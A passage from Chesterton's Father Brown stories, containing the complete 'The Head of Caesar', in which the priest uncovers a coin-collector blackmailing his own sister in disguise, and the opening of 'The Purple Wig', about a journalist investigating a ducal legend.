Todd's daughter, who had just come from the Slum Freak Dinner +at the Pond, where all the choicest guests were in a similar deshabille. +She and the gentleman who had donned prison uniform were going for +the customary joy-ride." + + Under the pink slip Mr Usher found a strip of a later paper, +headed, "Astounding Escape of Millionaire's Daughter with Convict. +She had Arranged Freak Dinner. Now Safe in--" + + Mr Greenwood Usher lifted his eyes, but Father Brown was gone. + + + + + SIX + + + The Head of Caesar + + +THERE is somewhere in Brompton or Kensington an interminable avenue +of tall houses, rich but largely empty, that looks like a terrace of tombs. +The very steps up to the dark front doors seem as steep as +the side of pyramids; one would hesitate to knock at the door, +lest it should be opened by a mummy. But a yet more depressing feature +in the grey facade is its telescopic length and changeless continuity. +The pilgrim walking down it begins to think he will never come to +a break or a corner; but there is one exception--a very small one, +but hailed by the pilgrim almost with a shout. There is a sort of mews +between two of the tall mansions, a mere slit like the crack of a door +by comparison with the street, but just large enough to permit +a pigmy ale-house or eating-house, still allowed by the rich to their +stable-servants, to stand in the angle. There is something cheery in its +very dinginess, and something free and elfin in its very insignificance. +At the feet of those grey stone giants it looks like a lighted house +of dwarfs. + + Anyone passing the place during a certain autumn evening, +itself almost fairylike, might have seen a hand pull aside +the red half-blind which (along with some large white lettering) +half hid the interior from the street, and a face peer out not unlike +a rather innocent goblin's. It was, in fact, the face of one with +the harmless human name of Brown, formerly priest of Cobhole in Essex, +and now working in London. His friend, Flambeau, a semi-official +investigator, was sitting opposite him, making his last notes of a case +he had cleared up in the neighbourhood. They were sitting at a small table, +close up to the window, when the priest pulled the curtain back +and looked out. He waited till a stranger in the street had +passed the window, to let the curtain fall into its place again. +Then his round eyes rolled to the large white lettering on the window +above his head, and then strayed to the next table, at which sat only +a navvy with beer and cheese, and a young girl with red hair and +a glass of milk. Then (seeing his friend put away the pocket-book), +he said softly: + + "If you've got ten minutes, I wish you'd follow that man with +the false nose." + + Flambeau looked up in surprise; but the girl with the red hair +also looked up, and with something that was stronger than astonishment. +She was simply and even loosely dressed in light brown sacking stuff; +but she was a lady, and even, on a second glance, a rather needlessly +haughty one. "The man with the false nose!" repeated Flambeau. +"Who's he?" + + "I haven't a notion," answered Father Brown. "I want you +to find out; I ask it as a favour. He went down there"--and he jerked +his thumb over his shoulder in one of his undistinguished gestures-- +"and can't have passed three lamp-posts yet. I only want to know +the direction." + + Flambeau gazed at his friend for some time, with an expression +between perplexity and amusement; and then, rising from the table; +squeezed his huge form out of the little door of the dwarf tavern, +and melted into the twilight. + + Father Brown took a small book out of his pocket and began +to read steadily; he betrayed no consciousness of the fact that +the red-haired lady had left her own table and sat down opposite him. +At last she leaned over and said in a low, strong voice: +"Why do you say that? How do you know it's false?" + + He lifted his rather heavy eyelids, which fluttered in +considerable embarrassment. Then his dubious eye roamed again to +the white lettering on the glass front of the public-house. +The young woman's eyes followed his, and rested there also, +but in pure puzzledom. + + "No," said Father Brown, answering her thoughts. "It doesn't say +`Sela', like the thing in the Psalms; I read it like that myself when +I was wool-gathering just now; it says `Ales.'" + + "Well?" inquired the staring young lady. "What does it matter +what it says?" + + His ruminating eye roved to the girl's light canvas sleeve, +round the wrist of which ran a very slight thread of artistic pattern, +just enough to distinguish it from a working-dress of a common woman +and make it more like the working-dress of a lady art-student. +He seemed to find much food for thought in this; but his reply was +very slow and hesitant. "You see, madam," he said, "from outside +the place looks--well, it is a perfectly decent place--but ladies +like you don't--don't generally think so. They never go into such places +from choice, except--" + + "Well?" she repeated. + + "Except an unfortunate few who don't go in to drink milk." + + "You are a most singular person," said the young lady. +"What is your object in all this?" + + "Not to trouble you about it," he replied, very gently. +"Only to arm myself with knowledge enough to help you, if ever +you freely ask my help." + + "But why should I need help?" + + He continued his dreamy monologue. "You couldn't have come in +to see protegees, humble friends, that sort of thing, or you'd have +gone through into the parlour...and you couldn't have come in because +you were ill, or you'd have spoken to the woman of the place, +who's obviously respectable...besides, you don't look ill in that way, +but only unhappy.... This street is the only original long lane +that has no turning; and the houses on both sides are shut up.... +I could only suppose that you'd seen somebody coming whom you didn't want +to meet; and found the public-house was the only shelter in this +wilderness of stone.... I don't think I went beyond the licence of +a stranger in glancing at the only man who passed immediately after.... +And as I thought he looked like the wrong sort...and you looked like +the right sort.... I held myself ready to help if he annoyed you; +that is all. As for my friend, he'll be back soon; and he certainly +can't find out anything by stumping down a road like this.... +I didn't think he could." + + "Then why did you send him out?" she cried, leaning forward with +yet warmer curiosity. She had the proud, impetuous face that goes +with reddish colouring, and a Roman nose, as it did in Marie Antoinette. + + He looked at her steadily for the first time, and said: +"Because I hoped you would speak to me." + + She looked back at him for some time with a heated face, +in which there hung a red shadow of anger; then, despite her anxieties, +humour broke out of her eyes and the corners of her mouth, +and she answered almost grimly: "Well, if you're so keen on +my conversation, perhaps you'll answer my question." After a pause +she added: "I had the honour to ask you why you thought the man's nose +was false." + + "The wax always spots like that just a little in this weather," +answered Father Brown with entire simplicity, + + "But it's such a crooked nose," remonstrated the red-haired girl. + + The priest smiled in his turn. "I don't say it's the sort of nose +one would wear out of mere foppery," he admitted. "This man, I think, +wears it because his real nose is so much nicer." + + "But why?" she insisted. + + "What is the nursery-rhyme?" observed Brown absent-mindedly. +"There was a crooked man and he went a crooked mile.... That man, +I fancy, has gone a very crooked road--by following his nose." + + "Why, what's he done?" she demanded, rather shakily. + + "I don't want to force your confidence by a hair," said Father Brown, +very quietly. "But I think you could tell me more about that than +I can tell you." + + The girl sprang to her feet and stood quite quietly, but with +clenched hands, like one about to stride away; then her hands +loosened slowly, and she sat down again. "You are more of a mystery +than all the others," she said desperately, "but I feel there might be +a heart in your mystery." + + "What we all dread most," said the priest in a low voice, +"is a maze with no centre. That is why atheism is only a nightmare." +"I will tell you everything," said the red-haired girl doggedly, +"except why I am telling you; and that I don't know." + + She picked at the darned table-cloth and went on: "You look as if +you knew what isn't snobbery as well as what is; and when I say that +ours is a good old family, you'll understand it is a necessary part of +the story; indeed, my chief danger is in my brother's high-and-dry notions, +noblesse oblige and all that. Well, my name is Christabel Carstairs; +and my father was that Colonel Carstairs you've probably heard of, +who made the famous Carstairs Collection of Roman coins. +I could never describe my father to you; the nearest I can say is +that he was very like a Roman coin himself. He was as handsome and +as genuine and as valuable and as metallic and as out-of-date. +He was prouder of his Collection than of his coat-of-arms-- +nobody could say more than that. His extraordinary character +came out most in his will. He had two sons and one daughter. +He quarrelled with one son, my brother Giles, and sent him +to Australia on a small allowance. He then made a will leaving +the Carstairs Collection, actually with a yet smaller allowance, +to my brother Arthur. He meant it as a reward, as the highest honour +he could offer, in acknowledgement of Arthur's loyalty and rectitude +and the distinctions he had already gained in mathematics and economics +at Cambridge. He left me practically all his pretty large fortune; +and I am sure he meant it in contempt. + + "Arthur, you may say, might well complain of this; but Arthur +is my father over again. Though he had some differences with my +father in early youth, no sooner had he taken over the Collection +than he became like a pagan priest dedicated to a temple. +He mixed up these Roman halfpence with the honour of the Carstairs +family in the same stiff, idolatrous way as his father before him. +He acted as if Roman money must be guarded by all the Roman virtues. +He took no pleasures; he spent nothing on himself; he lived for +the Collection. Often he would not trouble to dress for his simple meals; +but pattered about among the corded brown-paper parcels (which no one else +was allowed to touch) in an old brown dressing-gown. With its rope +and tassel and his pale, thin, refined face, it made him look like +an old ascetic monk. Every now and then, though, he would appear +dressed like a decidedly fashionable gentleman; but that was only when +he went up to the London sales or shops to make an addition to +the Carstairs Collection. + + "Now, if you've known any young people, you won't be shocked +if I say that I got into rather a low frame of mind with all this; +the frame of mind in which one begins to say that the Ancient Romans +were all very well in their way. I'm not like my brother Arthur; +I can't help enjoying enjoyment. I got a lot of romance and rubbish +where I got my red hair, from the other side of the family. +Poor Giles was the same; and I think the atmosphere of coins +might count in excuse for him; though he really did wrong and nearly +went to prison. But he didn't behave any worse than I did; +as you shall hear. + + "I come now to the silly part of the story. I think a man +as clever as you can guess the sort of thing that would begin +to relieve the monotony for an unruly girl of seventeen placed in such +a position. But I am so rattled with more dreadful things that I can +hardly read my own feeling; and don't know whether I despise it now +as a flirtation or bear it as a broken heart. We lived then at +a little seaside watering-place in South Wales, and a retired sea-captain +living a few doors off had a son about five years older than myself, +who had been a friend of Giles before he went to the Colonies. +His name does not affect my tale; but I tell you it was Philip Hawker, +because I am telling you everything. We used to go shrimping together, +and said and thought we were in love with each other; at least +he certainly said he was, and I certainly thought I was. +If I tell you he had bronzed curly hair and a falconish sort of face, +bronzed by the sea also, it's not for his sake, I assure you, +but for the story; for it was the cause of a very curious coincidence. + + "One summer afternoon, when I had promised to go shrimping +along the sands with Philip, I was waiting rather impatiently +in the front drawing-room, watching Arthur handle some packets of coins +he had just purchased and slowly shunt them, one or two at a time, +into his own dark study and museum which was at the back of the house. +As soon as I heard the heavy door close on him finally, I made a bolt +for my shrimping-net and tam-o'-shanter and was just going to slip out, +when I saw that my brother had left behind him one coin that lay +gleaming on the long bench by the window. It was a bronze coin, +and the colour, combined with the exact curve of the Roman nose +and something in the very lift of the long, wiry neck, made the head +of Caesar on it the almost precise portrait of Philip Hawker. +Then I suddenly remembered Giles telling Philip of a coin that was +like him, and Philip wishing he had it. Perhaps you can fancy the wild, +foolish thoughts with which my head went round; I felt as if I had +had a gift from the fairies. It seemed to me that if I could only +run away with this, and give it to Philip like a wild sort of wedding-ring, +it would be a bond between us for ever; I felt a thousand such things +at once. Then there yawned under me, like the pit, the enormous, +awful notion of what I was doing; above all, the unbearable thought, +which was like touching hot iron, of what Arthur would think of it. +A Carstairs a thief; and a thief of the Carstairs treasure! +I believe my brother could see me burned like a witch for such a thing, +But then, the very thought of such fanatical cruelty heightened +my old hatred of his dingy old antiquarian fussiness and my longing +for the youth and liberty that called to me from the sea. +Outside was strong sunlight with a wind; and a yellow head of some +broom or gorse in the garden rapped against the glass of the window. +I thought of that living and growing gold calling to me from all +the heaths of the world--and then of that dead, dull gold and bronze +and brass of my brother's growing dustier and dustier as life went by. +Nature and the Carstairs Collection had come to grips at last. + + "Nature is older than the Carstairs Collection. As I ran +down the streets to the sea, the coin clenched tight in my fist, +I felt all the Roman Empire on my back as well as the Carstairs pedigree. +It was not only the old lion argent that was roaring in my ear, +but all the eagles of the Caesars seemed flapping and screaming +in pursuit of me. And yet my heart rose higher and higher like +a child's kite, until I came over the loose, dry sand-hills and to +the flat, wet sands, where Philip stood already up to his ankles +in the shallow shining water, some hundred yards out to sea. +There was a great red sunset; and the long stretch of low water, +hardly rising over the ankle for half a mile, was like a lake +of ruby flame. It was not till I had torn off my shoes and stockings +and waded to where he stood, which was well away from the dry land, +that I turned and looked round. We were quite alone in a circle +of sea-water and wet sand, and I gave him the head of Caesar. + + "At the very instant I had a shock of fancy: that a man far away +on the sand-hills was looking at me intently. I must have felt +immediately after that it was a mere leap of unreasonable nerves; +for the man was only a dark dot in the distance, and I could only just see +that he was standing quite still and gazing, with his head a little +on one side. There was no earthly logical evidence that he was +looking at me; he might have been looking at a ship, or the sunset, +or the sea-gulls, or at any of the people who still strayed here and there +on the shore between us. Nevertheless, whatever my start sprang from +was prophetic; for, as I gazed, he started walking briskly in a bee-line +towards us across the wide wet sands. As he drew nearer and nearer +I saw that he was dark and bearded, and that his eyes were marked with +dark spectacles. He was dressed poorly but respectably in black, +from the old black top hat on his head to the solid black boots +on his feet. In spite of these he walked straight into the sea +without a flash of hesitation, and came on at me with the steadiness +of a travelling bullet. + + "I can't tell you the sense of monstrosity and miracle I had +when he thus silently burst the barrier between land and water. +It was as if he had walked straight off a cliff and still marched +steadily in mid-air. It was as if a house had flown up into the sky +or a man's head had fallen off. He was only wetting his boots; +but he seemed to be a demon disregarding a law of Nature. If he had +hesitated an instant at the water's edge it would have been nothing. +As it was, he seemed to look so much at me alone as not to notice the ocean. +Philip was some yards away with his back to me, bending over his net. +The stranger came on till he stood within two yards of me, the water +washing half-way up to his knees. Then he said, with a clearly modulated +and rather mincing articulation: `Would it discommode you to contribute +elsewhere a coin with a somewhat different superscription?' + + "With one exception there was nothing definably abnormal about him. +His tinted glasses were not really opaque, but of a blue kind common enough, +nor were the eyes behind them shifty, but regarded me steadily. +His dark beard was not really long or wild--, but he looked rather hairy, +because the beard began very high up in his face, just under +the cheek-bones. His complexion was neither sallow nor livid, +but on the contrary rather clear and youthful; yet this gave +a pink-and-white wax look which somehow (I don't know why) rather +increased the horror. The only oddity one could fix was that his nose, +which was otherwise of a good shape, was just slightly turned sideways +at the tip; as if, when it was soft, it had been tapped on one side +with a toy hammer. The thing was hardly a deformity; yet I cannot +tell you what a living nightmare it was to me. As he stood there +in the sunset-stained water he affected me as some hellish sea-monster +just risen roaring out of a sea like blood. I don't know why +a touch on the nose should affect my imagination so much. +I think it seemed as if he could move his nose like a finger. +And as if he had just that moment moved it. + + "`Any little assistance,' he continued with the same queer, +priggish accent, `that may obviate the necessity of my communicating +with the family.' + + "Then it rushed over me that I was being blackmailed for +the theft of the bronze piece; and all my merely superstitious fears +and doubts were swallowed up in one overpowering, practical question. +How could he have found out? I had stolen the thing suddenly and on impulse; +I was certainly alone; for I always made sure of being unobserved +when I slipped out to see Philip in this way. I had not, +to all appearance, been followed in the street; and if I had, +they could not `X-ray' the coin in my closed hand. The man standing +on the sand-hills could no more have seen what I gave Philip than +shoot a fly in one eye, like the man in the fairy-tale. + + "`Philip,' I cried helplessly, `ask this man what he wants.' + + "When Philip lifted his head at last from mending his net +he looked rather red, as if sulky or ashamed; but it may have been +only the exertion of stooping and the red evening light; I may have +only had another of the morbid fancies that seemed to be dancing about me. +He merely said gruffly to the man: `You clear out of this.' +And, motioning me to follow, set off wading shoreward without paying +further attention to him. He stepped on to a stone breakwater that +ran out from among the roots of the sand-hills, and so struck homeward, +perhaps thinking our incubus would find it less easy to walk on such +rough stones, green and slippery with seaweed, than we, who were young +and used to it. But my persecutor walked as daintily as he talked; +and he still followed me, picking his way and picking his phrases. +I heard his delicate, detestable voice appealing to me over my shoulder, +until at last, when we had crested the sand-hills, Philip's patience +(which was by no means so conspicuous on most occasions) seemed to snap. +He turned suddenly, saying, `Go back. I can't talk to you now.' +And as the man hovered and opened his mouth, Philip struck him a buffet +on it that sent him flying from the top of the tallest sand-hill +to the bottom. I saw him crawling out below, covered with sand. + + "This stroke comforted me somehow, though it might well increase +my peril; but Philip showed none of his usual elation at his own prowess. +Though as affectionate as ever, he still seemed cast down; and before +I could ask him anything fully, he parted with me at his own gate, +with two remarks that struck me as strange. He said that, +all things considered, I ought to put the coin back in the Collection; +but that he himself would keep it `for the present'. And then he added +quite suddenly and irrelevantly:, `You know Giles is back from Australia?'" + + The door of the tavern opened and the gigantic shadow of +the investigator Flambeau fell across the table. Father Brown +presented him to the lady in his own slight, persuasive style of speech, +mentioning his knowledge and sympathy in such cases; and almost +without knowing, the girl was soon reiterating her story to two listeners. +But Flambeau, as he bowed and sat down, handed the priest a small slip +of paper. Brown accepted it with some surprise and read on it: +"Cab to Wagga Wagga, 379, Mafeking Avenue, Putney." The girl was going +on with her story. + + "I went up the steep street to my own house with my head in a whirl; +it had not begun to clear when I came to the doorstep, on which +I found a milk-can--and the man with the twisted nose. The milk-can +told me the servants were all out; for, of course, Arthur, +browsing about in his brown dressing-gown in a brown study, +would not hear or answer a bell. Thus there was no one to help me +in the house, except my brother, whose help must be my ruin. +In desperation I thrust two shillings into the horrid thing's hand, +and told him to call again in a few days, when I had thought it out. +He went off sulking, but more sheepishly than I had expected-- +perhaps he had been shaken by his fall--and I watched the star of sand +splashed on his back receding down the road with a horrid vindictive +pleasure. He turned a corner some six houses down. + + "Then I let myself in, made myself some tea, and tried to +think it out. I sat at the drawing-room window looking on to the garden, +which still glowed with the last full evening light. But I was too +distracted and dreamy to look at the lawns and flower-pots and flower-beds +with any concentration. So I took the shock the more sharply because +I'd seen it so slowly. + + "The man or monster I'd sent away was standing quite still +in the middle of the garden. Oh, we've all read a lot about +pale-faced phantoms in the dark; but this was more dreadful +than anything of that kind could ever be. Because, though he cast +a long evening shadow, he still stood in warm sunlight. And because +his face was not pale, but had that waxen bloom still upon it +that belongs to a barber's dummy. He stood quite still, with his face +towards me; and I can't tell you how horrid he looked among the tulips +and all those tall, gaudy, almost hothouse-looking flowers. +It looked as if we'd stuck up a waxwork instead of a statue in +the centre of our garden. + + "Yet almost the instant he saw me move in the window he turned +and ran out of the garden by the back gate, which stood open and +by which he had undoubtedly entered. This renewed timidity on his part +was so different from the impudence with which he had walked into the sea, +that I felt vaguely comforted. I fancied, perhaps, that he feared +confronting Arthur more than I knew. Anyhow, I settled down at last, +and had a quiet dinner alone (for it was against the rules to +disturb Arthur when he was rearranging the museum), and, my thoughts, +a little released, fled to Philip and lost themselves, I suppose. +Anyhow, I was looking blankly, but rather pleasantly than otherwise, +at another window, uncurtained, but by this time black as a slate +with the final night-fall. It seemed to me that something like a snail +was on the outside of the window-pane. But when I stared harder, +it was more like a man's thumb pressed on the pane; it had that curled look +that a thumb has. With my fear and courage re-awakened together, +I rushed at the window and then recoiled with a strangled scream +that any man but Arthur must have heard. + + "For it was not a thumb, any more than it was a snail. +It was the tip of a crooked nose, crushed against the glass; +it looked white with the pressure; and the staring face and eyes +behind it were at first invisible and afterwards grey like a ghost. +I slammed the shutters together somehow, rushed up to my room and +locked myself in. But, even as I passed, I could swear I saw +a second black window with something on it that was like a snail. + + "It might be best to go to Arthur after all. If the thing +was crawling close all around the house like a cat, it might have +purposes worse even than blackmail. My brother might cast me out +and curse me for ever, but he was a gentleman, and would defend me +on the spot. After ten minutes' curious thinking, I went down, +knocked on the door and then went in: to see the last and worst sight. + + "My brother's chair was empty, and he was obviously out. +But the man with the crooked nose was sitting waiting for his return, +with his hat still insolently on his head, and actually reading +one of my brother's books under my brother's lamp. His face was composed +and occupied, but his nose-tip still had the air of being the most mobile +part of his face, as if it had just turned from left to right like +an elephant's proboscis. I had thought him poisonous enough while +he was pursuing and watching me; but I think his unconsciousness +of my presence was more frightful still. + + "I think I screamed loud and long; but that doesn't matter. +What I did next does matter: I gave him all the money I had, +including a good deal in paper which, though it was mine, I dare say +I had no right to touch. He went off at last, with hateful, +tactful regrets all in long words; and I sat down, feeling ruined +in every sense. And yet I was saved that very night by a pure accident. +Arthur had gone off suddenly to London, as he so often did, for bargains; +and returned, late but radiant, having nearly secured a treasure +that was an added splendour even to the family Collection. +He was so resplendent that I was almost emboldened to confess +the abstraction of the lesser gem--, but he bore down all other topics +with his over-powering projects. Because the bargain might still +misfire any moment, he insisted on my packing at once and going up +with him to lodgings he had already taken in Fulham, to be near +the curio-shop in question. Thus in spite of myself, I fled from my foe +almost in the dead of night--but from Philip also.... My brother +was often at the South Kensington Museum, and, in order to make +some sort of secondary life for myself, I paid for a few lessons +at the Art Schools. I was coming back from them this evening, +when I saw the abomination of desolation walking alive down +the long straight street and the rest is as this gentleman has said. + + "I've got only one thing to say. I don't deserve to be helped; +and I don't question or complain of my punishment; it is just, +it ought to have happened. But I still question, with bursting brains, +how it can have happened. Am I punished by miracle? or how can anyone but +Philip and myself know I gave him a tiny coin in the middle of the sea?" + + "It is an extraordinary problem," admitted Flambeau. + + "Not so extraordinary as the answer," remarked Father Brown +rather gloomily. "Miss Carstairs, will you be at home if we call +at your Fulham place in an hour and a half hence?" + + The girl looked at him, and then rose and put her gloves on. +"Yes," she said, "I'll be there"; and almost instantly left the place. + + That night the detective and the priest were still talking +of the matter as they drew near the Fulham house, a tenement +strangely mean even for a temporary residence of the Carstairs family. + + "Of course the superficial, on reflection," said Flambeau, +"would think first of this Australian brother who's been +in trouble before, who's come back so suddenly and who's just the man +to have shabby confederates. But I can't see how he can +come into the thing by any process of thought, unless..." + + "Well?" asked his companion patiently. + + Flambeau lowered his voice. "Unless the girl's lover comes in, +too, and he would be the blacker villain. The Australian chap +did know that Hawker wanted the coin. But I can't see how on earth +he could know that Hawker had got it, unless Hawker signalled to him +or his representative across the shore." + + "That is true," assented the priest, with respect. + + "Have you noted another thing?" went on Flambeau eagerly. +"this Hawker hears his love insulted, but doesn't strike till he's got +to the soft sand-hills, where he can be victor in a mere sham-fight. +If he'd struck amid rocks and sea, he might have hurt his ally." + + "That is true again," said Father Brown, nodding. + + "And now, take it from the start. It lies between few people, +but at least three. You want one person for suicide; two people +for murder; but at least three people for blackmail" + + "Why?" asked the priest softly. + + "Well, obviously," cried his friend, "there must be one to be exposed; +one to threaten exposure; and one at least whom exposure would horrify." + + After a long ruminant pause, the priest said: "You miss a logical step. +Three persons are needed as ideas. Only two are needed as agents." + + "What can you mean?" asked the other. + + "Why shouldn't a blackmailer," asked Brown, in a low voice, +"threaten his victim with himself? Suppose a wife became +a rigid teetotaller in order to frighten her husband into concealing +his pub-frequenting, and then wrote him blackmailing letters +in another hand, threatening to tell his wife! Why shouldn't it work? +Suppose a father forbade a son to gamble and then, following him +in a good disguise, threatened the boy with his own sham +paternal strictness! Suppose--but, here we are, my friend." + + "My God!" cried Flambeau; "you don't mean--" + + An active figure ran down the steps of the house and showed +under the golden lamplight the unmistakable head that resembled +the Roman coin. "Miss Carstairs," said Hawker without ceremony, +"wouldn't go in till you came." + + "Well," observed Brown confidently, "don't you think it's +the best thing she can do to stop outside--with you to look after her? +You see, I rather guess you have guessed it all yourself." + + "Yes," said the young man, in an undertone, "I guessed +on the sands and now I know; that was why I let him fall soft." + + Taking a latchkey from the girl and the coin from Hawker, +Flambeau let himself and his friend into the empty house and passed +into the outer parlour. It was empty of all occupants but one. +The man whom Father Brown had seen pass the tavern was standing +against the wall as if at bay; unchanged, save that he had taken off +his black coat and was wearing a brown dressing-gown. + + "We have come," said Father Brown politely, "to give back +this coin to its owner." And he handed it to the man with the nose. + + Flambeau's eyes rolled. "Is this man a coin-collector?" he asked. + + "This man is Mr Arthur Carstairs," said the priest positively, +"and he is a coin-collector of a somewhat singular kind." + + The man changed colour so horribly that the crooked nose +stood out on his face like a separate and comic thing. He spoke, +nevertheless, with a sort of despairing dignity. "You shall see, +then," he said, "that I have not lost all the family qualities." +And he turned suddenly and strode into an inner room, slamming the door. + + "Stop him!" shouted Father Brown, bounding and half falling +over a chair; and, after a wrench or two, Flambeau had the door open. +But it was too late. In dead silence Flambeau strode across +and telephoned for doctor and police. + + An empty medicine bottle lay on the floor. Across the table +the body of the man in the brown dressing-gown lay amid his burst +and gaping brown-paper parcels; out of which poured and rolled, +not Roman, but very modern English coins. + + The priest held up the bronze head of Caesar. "This," he said, +"was all that was left of the Carstairs Collection." + + After a silence he went on, with more than common gentleness: +"It was a cruel will his wicked father made, and you see he did +resent it a little. He hated the Roman money he had, and grew fonder +of the real money denied him. He not only sold the Collection +bit by bit, but sank bit by bit to the basest ways of making money-- +even to blackmailing his own family in a disguise. He blackmailed +his brother from Australia for his little forgotten crime (that is why +he took the cab to Wagga Wagga in Putney), he blackmailed his sister +for the theft he alone could have noticed. And that, by the way, +is why she had that supernatural guess when he was away on the sand-dunes. +Mere figure and gait, however distant, are more likely to remind us +of somebody than a well-made-up face quite close." + + There was another silence. "Well," growled the detective, +"and so this great numismatist and coin-collector was nothing but +a vulgar miser." + + "Is there so great a difference?" asked Father Brown, in the same +strange, indulgent tone. "What is there wrong about a miser that is +not often as wrong about a collector? What is wrong, except... +thou shalt not make to thyself any graven image; thou shalt not +bow down to them nor serve them, for I...but we must go and see how +the poor young people are getting on." + + "I think," said Flambeau, "that in spite of everything, +they are probably getting on very well." + + + + + SEVEN + + + The Purple Wig + + +MR EDWARD NUTT, the industrious editor of the Daily Reformer, +sat at his desk, opening letters and marking proofs to the merry tune +of a typewriter, worked by a vigorous young lady. + + He was a stoutish, fair man, in his shirt-sleeves; his movements +were resolute, his mouth firm and his tones final; but his round, +rather babyish blue eyes had a bewildered and even wistful look +that rather contradicted all this. Nor indeed was the expression +altogether misleading. It might truly be said of him, as for many +journalists in authority, that his most familiar emotion was one of +continuous fear; fear of libel actions, fear of lost advertisements, +fear of misprints, fear of the sack. + + His life was a series of distracted compromises between +the proprietor of the paper (and of him), who was a senile soap-boiler +with three ineradicable mistakes in his mind, and the very able staff +he had collected to run the paper; some of whom were brilliant +and experienced men and (what was even worse) sincere enthusiasts +for the political policy of the paper. + + A letter from one of these lay immediately before him, +and rapid and resolute as he was, he seemed almost to hesitate +before opening it. He took up a strip of proof instead, ran down it +with a blue eye, and a blue pencil, altered the word "adultery" +to the word "impropriety," and the word "Jew" to the word "Alien," +rang a bell and sent it flying upstairs. + + Then, with a more thoughtful eye, he ripped open the letter from his +more distinguished contributor, which bore a postmark of Devonshire, +and read as follows: + + DEAR NUTT,--As I see you're working Spooks and Dooks at the same time, +what about an article on that rum business of the Eyres of Exmoor; +or as the old women call it down here, the Devil's Ear of Eyre? +The head of the family, you know, is the Duke of Exmoor; he is one of +the few really stiff old Tory aristocrats left, a sound old crusted tyrant +it is quite in our line to make trouble about. And I think I'm +on the track of a story that will make trouble. + + Of course I don't believe in the old legend about James I; +and as for you, you don't believe in anything, not even in journalism. +The legend, you'll probably remember, was about the blackest business +in English history--the poisoning of Overbury by that witch's cat +Frances Howard, and the quite mysterious terror which forced the King +to pardon the murderers. There was a lot of alleged witchcraft +mixed up with it; and the story goes that a man-servant listening +at the keyhole heard the truth in a talk between the King and Carr; +and the bodily ear with which he heard grew large and monstrous +as by magic, so awful was the secret. And though he had to be loaded +with lands and gold and made an ancestor of dukes, the elf-shaped ear +is still recurrent in the family. Well, you don't believe in black magic; +and if you did, you couldn't use it for copy. If a miracle happened +in your office, you'd have to hush it up, now so many bishops +are agnostics. But that is not the point The point is that +there really is something queer about Exmoor and his family; +something quite natural, I dare say, but quite abnormal. +And the Ear is in it somehow, I fancy; either a symbol or a delusion +or disease or something. Another tradition says that Cavaliers +just after James I began to wear their hair long only to cover +the ear of the first Lord Exmoor. This also is no doubt fanciful. + + The reason I point it out to you is this: It seems to me that +we make a mistake in attacking aristocracy entirely for its champagne +and diamonds. Most men rather admire the nobs for having a good time, +but I think we surrender too much when we admit that aristocracy +has made even the aristocrats happy. I suggest a series of articles +pointing out how dreary, how inhuman, how downright diabolist, +is the very smell and atmosphere of some of these great houses. +There are plenty of instances; but you couldn't begin with a better one +than the Ear of the Eyres. By the end of the week I think I can +get you the truth about it.--Yours ever, FRANCIS FINN. + + Mr Nutt reflected a moment, staring at his left boot; +then he called out in a strong, loud and entirely lifeless voice, +in which every syllable sounded alike: "Miss Barlow, take down +a letter to Mr Finn, please." + + DEAR FINN,--I think it would do; copy should reach us second post +Saturday.--Yours, E. NUTT. + + This elaborate epistle he articulated as if it were all one word; +and Miss Barlow rattled it down as if it were all one word. +Then he took up another strip of proof and a blue pencil, +and altered the word "supernatural" to the word "marvellous", +and the expression "shoot down" to the expression "repress". + + In such happy, healthful activities did Mr Nutt disport himself, +until the ensuing Saturday found him at the same desk, dictating to +the same typist, and using the same blue pencil on the first instalment +of Mr Finn's revelations. The opening was a sound piece of slashing +invective about the evil secrets of princes, and despair in the high places +of the earth. Though written violently, it was in excellent English; +but the editor, as usual, had given to somebody else the task +of breaking it up into sub-headings, which were of a spicier sort, +as "Peeress and Poisons", and "The Eerie Ear", "The Eyres in their Eyrie", +and so on through a hundred happy changes. Then followed the legend +of the Ear, amplified from Finn's first letter, and then the substance +of his later discoveries, as follows: + + + I know it is the practice of journalists to put the end of the story +at the beginning and call it a headline. I know that journalism +largely consists in saying "Lord Jones Dead" to people who never knew +that Lord Jones was alive. Your present correspondent thinks that this, +like many other journalistic customs, is bad journalism; and that +the Daily Reformer has to set a better example in such things. +He proposes to tell his story as it occurred, step by step. +He will use the real names of the parties, who in most cases are ready +to confirm his testimony. As for the headlines, the sensational +proclamations--they will come at the end. + + I was walking along a public path that threads through +a private Devonshire orchard and seems to point towards Devonshire cider, +when I came suddenly upon just such a place as the path suggested. +It was a long, low inn, consisting really of a cottage and two barns; +thatched all over with the thatch that looks like brown and grey hair +grown before history. But outside the door was a sign which +called it the Blue Dragon; and under the sign was one of those long +rustic tables that used to stand outside most of the free English inns, +before teetotallers and brewers between them destroyed freedom. +And at this table sat three gentlemen, who might have lived +a hundred years ago. + + Now that I know them all better, there is no difficulty +about disentangling the impressions; but just then they looked like +three very solid ghosts. The dominant figure, both because he was +bigger in all three dimensions, and because he sat centrally +in the length of the table, facing me, was a tall, fat man dressed +completely in black, with a rubicund, even apoplectic visage, +but a rather bald and rather bothered brow. Looking at him again, +more strictly, I could not exactly say what it was that gave me +the sense of antiquity, except the antique cut of his white +clerical necktie and the barred wrinkles across his brow. + + It was even less easy to fix the impression in the case of +the man at the right end of the table, who, to say truth, +was as commonplace a person as could be seen anywhere, with a round, +brown-haired head and a round snub nose, but also clad in clerical black, +of a stricter cut. It was only when I saw his broad curved hat lying +on the table beside him that I realized why I connected him with +anything ancient. He was a Roman Catholic priest. + + Perhaps the third man, at the other end of the table, +had really more to do with it than the rest, though he was both +slighter in physical presence and more inconsiderate in his dress. +His lank limbs were clad, I might also say clutched, in very tight +grey sleeves and pantaloons; he had a long, sallow, aquiline face +which seemed somehow all the more saturnine because his lantern jaws +were imprisoned in his collar and neck-cloth more in the style of +the old stock; and his hair (which ought to have been dark brown) +was of an odd dim, russet colour which, in conjunction with +his yellow face, looked rather purple than red. The unobtrusive +yet unusual colour was all the more notable because his hair was +almost unnaturally healthy and curling, and he wore it full. +But, after all analysis, I incline to think that what gave me +my first old-fashioned impression was simply a set of tall, +old-fashioned wine-glasses, one or two lemons and two churchwarden pipes. +And also, perhaps, the old-world errand on which I had come. + + Being a hardened reporter, and it being apparently a public inn, +I did not need to summon much of my impudence to sit down at +the long table and order some cider. The big man in black seemed +very learned, especially about local antiquities; the small man in black, +though he talked much less, surprised me with a yet wider culture. +So we got on very well together; but the third man, the old gentleman +in the tight pantaloons, seemed rather distant and haughty, +until I slid into the subject of the Duke of Exmoor and his ancestry. + + I thought the subject seemed to embarrass the other two a little; +but it broke the spell of the third man's 